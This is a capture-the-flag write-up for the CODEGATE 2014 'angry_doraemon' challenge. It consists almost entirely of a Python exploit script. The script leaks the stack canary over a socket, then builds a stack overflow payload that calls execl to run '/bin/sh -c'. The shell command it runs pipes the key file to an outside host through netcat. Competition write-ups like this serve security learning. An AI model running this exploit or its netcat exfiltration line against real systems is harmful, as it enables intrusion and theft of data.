[exploit] CODEGATE2014 angry_doraemon writeup

#!/usr/bin/env python import struct, socket, string def conn(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('58.229.183.18', 8888)) while True: st = s.recv(1000) if 'Give up\n>' in st: break s.send('4') s.recv(1024)#.encode('hex') return s def canary(s): s.send('y'*10 + ':') data = s.recv(1024) canary = data.split(':')[1][:3] print data.split(canary)[1].encode('hex') dummy = data.split(canary)[1][:12] print "canary : %s" % canary.encode('hex') print "dummy data: %s" % dummy.encode('hex') return canary, dummy p = lambda x: struct.pack("<I", x) s = conn() execl = 0x8048c79 binsh = 0x804970d sh = 0x804970a ebp = 0xbfb0a7d8 canary, dummy = canary(s) payload = 'y'*10 + '\x00' payload += canary #canary payload += dummy #dummy payload += p(execl) payload += p(binsh) payload += p(sh) payload += '\xd4\xa7\xb0\xbf' payload += p(ebp) payload += p(0x00) payload += '-c\x00\x00' payload += 'cat key | nc 112.162.xx.xxx 123\x00' s = conn() s.send(payload) print 'ko' s.close()